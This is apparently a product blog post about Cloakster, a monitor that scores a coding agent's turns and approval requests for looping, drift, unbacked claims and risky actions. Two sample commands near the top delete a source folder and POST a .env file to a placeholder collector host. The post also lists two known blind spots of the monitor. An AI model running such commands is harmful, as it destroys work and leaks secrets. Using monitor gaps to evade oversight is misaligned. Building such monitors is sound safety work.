Cloakster: a second opinion on every turn

Cloakster watches your agent before each turn, after it, and every time it asks permission. It catches loops, empty claims and risky commands in under half a second, for a fraction of a cent. It never presses a button for you.

A coding agent does not know when it is wasting your time. It runs the same failing test a third time. It asks to delete the folder it was told to edit. It says the tests pass when no test ran. You catch it only if you are watching.

Cloakster watches for you. At three moments it reads the session and answers a fixed set of yes-or-no questions. When an answer clears its bar, it puts a card or a line in front of you. That is the whole job. The buttons stay yours.

rm -rf src/lib

curl -s -X POST https://collector.example.com/ingest -d "$(cat .env)"

That figure is the session we tuned Cloakster on. Every percentage is the answer the live model gave, and a card appears only where the app draws one.

What Cloakster runs on

Cloakster runs on Jev, Venice’s decision model. A chat model writes its answer token by token. Jev writes nothing. It takes the session as data plus typed questions, and returns a probability for each one. “Is the agent looping?” comes back as 0.97, not as a paragraph.

That is why it is fast and cheap, and why your agent never waits for it.

Before the turn

The moment you send a message, Cloakster reads it with four questions. How big is the job? Is it too vague to start? Does it touch data, deployment, secrets or money? What one detail would help most? The agent starts regardless. If an answer clears its bar, a card lands above the composer a moment later.

A clear request gets silence. A vague one gets a pointed question. A big one gets Plan first, which switches the run to plan mode so the agent proposes before it edits.

After every turn

The recent turns go out with five questions:

• Looping: the same command, edit or error, with no progress.
• Drift: work toward a goal you never asked for. Its card quotes your request back.
• Stuck: retrying an approach its own results already ruled out. Its card offers Re-plan.
• Unbacked: a claim no tool output shows, such as tests passing, a file written or a deploy.
• Looks finished: everything you asked for is done. This card offers Review changes.

When a turn edits files, the change is also held to your project’s own rules. Code splits the rule lines in CLAUDE.md and AGENTS.md into single questions and asks each one against the diff. A rule the change likely breaks gets a card that names it, with Ask to fix. The idea comes from pi-warden, an open-source guard where re-checking rules on every write cut violations from 12 runs in 50 to 4.

At an approval

When the agent asks permission, Cloakster reads the pending call against your request. Does it reach outside the task? Can it be undone? Does it send something out? Each yes adds one line to the approval card, as in the second and third moments above. Allow, Deny and Cancel do not move.

What it cannot do

Cloakster cannot approve a call, message the agent, change your model or hide an approval. When Venice does not answer, the check is skipped and the run carries on as if Cloakster were off.

Two switches let it go further, and both are off until you turn them on. Set effort from the request sets how long the Claude engine thinks, never which model runs. Pause after three looping turns stops a run that keeps looping, the way Stop does.

What it sends

Only what the questions read:

• your request
• the recent turns and tool output, up to a fixed size
• the paths a turn edited
• the pending call, at an approval

The rules check adds the rule lines and the diff, with credentials masked. Files named like .env or a private key are never sent. Cloakster sends nothing for an incognito chat or an end-to-end encrypted session, and nothing while it is off.

Every check goes to Venice on your key, on a different tier from your session:

Since this post, Cloakster sends nothing to Jev from a thread on a Private or Encrypted model, so it watches only threads on Anonymized models. The figure shows the September setup. The Cloakster docs have the current rule.

The privacy page has the full row for every route.

How the bars were set

A probability is useless without a bar. We wrote 160 labelled examples: sessions with a real problem, and sessions built to look like one without being one. Every example went to the live model, over eleven runs, for about three cents in total. Each bar sits between the two groups.

Three things the tuning taught us:

• The model answers the question you wrote. “Outside the task” flagged reading a docs page from the web until the question spelled out what counts as outside. Every gain came from writing the exact condition.
• Our labels were wrong as often as the model was. A command we filed as irreversible restored the files from git in the same line. Reading the misses fixed the examples before it fixed the questions.
• Facts that code can check stay in code. Whether a file already exists is read from disk and sent as one yes or no. That single fact took “cannot be undone” from catching under half its examples to catching all of them.

Two misses are known and stay missed. One is a finish claim from an agent that ran no check at all. The other is a new file created in a neighbouring project. Both sit a little under their bars. Moving the bars to catch them would add false alarms everywhere else.

Try it

Open Settings, find Cloakster, and turn on Watch each session. Every question has its own switch. A question you turn off is never sent.

If it flags something it should not, or misses something it should catch, tell us. That is how the next bar gets set.

Sources

1. Create Decisions, Venice API reference: how Jev takes questions and returns probabilities.
2. System One and Jev 1.13 jaggedness, TypeSafe: what a decision model is, where it fails, and why the exact condition matters.
3. pi-warden, open source: re-checking a project’s rules on every write, 12 runs in 50 with a violation down to 4.
4. jev-belay, open source: gating an agent’s “done” on what its transcript shows.